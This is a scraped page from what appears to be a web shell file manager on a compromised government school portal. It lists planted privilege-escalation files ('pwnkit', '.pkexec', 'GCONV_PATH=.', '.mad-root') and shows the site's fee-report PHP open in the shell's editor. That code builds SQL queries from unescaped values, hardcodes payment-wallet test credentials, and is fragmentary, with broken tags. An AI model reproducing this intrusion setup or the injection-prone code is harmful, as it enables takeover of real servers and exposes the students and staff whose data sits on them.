Gecko [ gzmcfeni.gov.bd ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
admit	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
datespicker	[ DIR ]	drwxr-xr-x
img	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
menu	[ DIR ]	drwxr-xr-x
scss	[ DIR ]	drwxr-xr-x
textEdit	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
AjaxDailyAttendanceSheet.php	3.03 KB	-rw-r--r--
AnsPaper.php	10.02 KB	-rw-r--r--
DueandPaidReport.php	4.56 KB	-rw-r--r--
QuestionPaper.php	16.07 KB	-rw-r--r--
RegistrationForm.php	44.94 KB	-rw-r--r--
admit.css	2.66 KB	-rw-r--r--
admit.php	7.78 KB	-rw-r--r--
ajaxAddAns.php	815 B	-rw-r--r--
ajaxDateWiseReport.php	18.07 KB	-rw-r--r--
attendanceReport.php	5.81 KB	-rw-r--r--
changePassword.php	3.93 KB	-rw-r--r--
check_grou_name.php	1.15 KB	-rw-r--r--
cheking_period.php	3.02 KB	-rw-r--r--
dailyAttendanceSheet.php	6.58 KB	-rw-r--r--
dashboard.php	8.84 KB	-rw-r--r--
dueReport.php	8.75 KB	-rw-r--r--
error_log	3.81 KB	-rw-r--r--
index.php	6.88 KB	-rw-r--r--
login.php	4.73 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
result.php	8.25 KB	-rw-r--r--
singleStdAttendanceReport.php	5.71 KB	-rw-r--r--
student_info.php	22.39 KB	-rw-r--r--

Code Editor : dueReport.php

<?php
error_reporting(1);
@session_start();
@date_default_timezone_set('Asia/Dhaka');
require_once("../db_connect/config.php");
require_once("../db_connect/conect.php");
$db = new database();
$d=date('m');
$y=date('Y');
$id=$_SESSION["useridid"];

if($_SESSION["userlogin"]==1)
{

$select_school="select * from project_info";
$cheke_school=$db->select_query($select_school);
if($cheke_school)
{

$fetch_school_information=$cheke_school->fetch_array();
}

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="Description" content="Skill Based IT" />
        <link rel="icon" type="image/x-icon" href="../admin/all_image/hompag55eCodeSDMS2015.jpg" />
        <title>Student Protal</title>
 		<link href="../css/bootstrap.min.css" rel="stylesheet">
 		 <script src="https://code.jquery.com/jquery-3.3.1.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
                    crossorigin="anonymous"></script>
         <script src="https://scripts.sandbox.bka.sh/versions/1.1.0-beta/checkout/bKash-checkout-sandbox.js"></script>
                   
                    <script>
                      let paymentID;

let createCheckoutUrl = 'https://merchantserver.sandbox.bka.sh/api/checkout/v1.2.0-beta/payment/create';
                let executeCheckoutUrl = 'https://merchantserver.sandbox.bka.sh/api/checkout/v1.2.0-beta/payment/execute';
                
                $(document).ready(function () {
                    initBkash();
                });

<tr>
 		 					<td width="80">  SL</td>
 		 					<td width="200"> Title</td>
 		 					<td width="100"> Month</td>
 		 					<td width="100"> Payable</td>
 		 					<td width="100"> Discount</td>
 		 					<td width="100"> Due</td>
 		 			</tr>

<?php
 		 			$i=1;
 		 			$totalAmount=0;
 		 			$totalDiscount=0;

$totalpaid=0;
 		 			$totaldue=0;

$sql="SELECT `student_account_info`.`fee_id`,`student_account_info`.`AmountExceptional`,`add_fee`.`title`,`add_fee`.`amount`,`month_setup`.`name` FROM `student_account_info` 
INNER JOIN `add_fee` ON `add_fee`.`id`=`student_account_info`.`fee_id`
INNER JOIN `month_setup` ON `month_setup`.`id`=`add_fee`.`fk_month_id`
WHERE `student_account_info`.`studentID`='$id' AND `student_account_info`.`year`='$y' AND `add_fee`.`index` AND `fk_month_id` BETWEEN 01 AND $d";
						$query=$db->link->query($sql);
							while($fetch=$query->fetch_array())
							{

$due=0;
							$payable=0;

$fetchdis[0]=0;$fetchPaid[0]=0;
							$paid=0;

$paid="SELECT SUM(`paid_amount`) AS 'total' FROM `student_paid_table` WHERE `student_id`='$id' AND `fk_fee_id`='$fetch[0]' AND `year`='$y'";
 		 					$queryPaid=$db->link->query($paid);

if($queryPaid)
 		 					{
 		 									$fetchPaid=$queryPaid->fetch_array();
 		 									$paid=$fetchPaid[0];
 		 					}

if($fetch['amount']!=0)
	 		 						{
	 		 								$payable=$fetch['amount']; 
	 		 						}
	 		 						else
	 		 						{
	 		 							$payable=$fetch['AmountExceptional']; 
	 		 						}

$dis="SELECT SUM(`discount`) AS 'total' FROM `add_discount` WHERE `student_id`='$id' AND `feeid`='$fetch[0]' AND `year`='$y'";
 		 							$queryDis=$db->link->query($dis);

if($queryDis)
 		 								{
 		 										$fetchdis=$queryDis->fetch_array();
 		 										//print $fetchdis[0];
 		 										
 		 								}

if($payable>$paid+$fetchdis[0])
 		 					{

$totalDiscount=$totalDiscount+$fetchdis[0];

$totalAmount=$totalAmount+$payable;
 		 			?>
 		 			<tr>
 		 					<td width="80">  <?php print $i++; ?></td>
 		 					<td width="200"> <?php print $fetch['title']; ?></td>
 		 					<td width="100"> <?php print $fetch['name']; ?></td>
 		 					<td width="100"> <?php print $payable; ?></td>
 		 					<td width="100">
 		 						<?php

if($queryDis)
 		 								{
 		 										
 		 										print $fetchdis[0];
 		 								
 		 								}

</td>
 		 				
 		 					<td width="100">
 		 						<?php
 		 							$due=$payable-($fetchdis[0]+$fetchPaid[0]);
 		 							print $due;
 		 							$totaldue=$totaldue+$due;
 		 						?>

</td>
 		 			</tr>

<?php
 		 		}

}

<tr>
 		 							<td colspan="3" align="right"> Total : </td>
 		 							<td><?php print $totalAmount;?>/-</td>
 		 							<td> <?php print $totalDiscount;?>/-  </td>
 		 						
 		 							<td> <?php print $totaldue; ?>/-</td>
 		 			</tr>
 		 			<tr>
 		 			    <td colspan="6">
 		 			          <button id="bKash_button" onclick="initBkash()">Pay With bKash</button><br>Wallet : 01770618575
OTP : 123456
PIN : 12121
 		 			    </td>
 		 			</tr>
 		 	</table>

</body>
 	</html>
<?php
}
?>

${this.title}

Code Editor : dueReport.php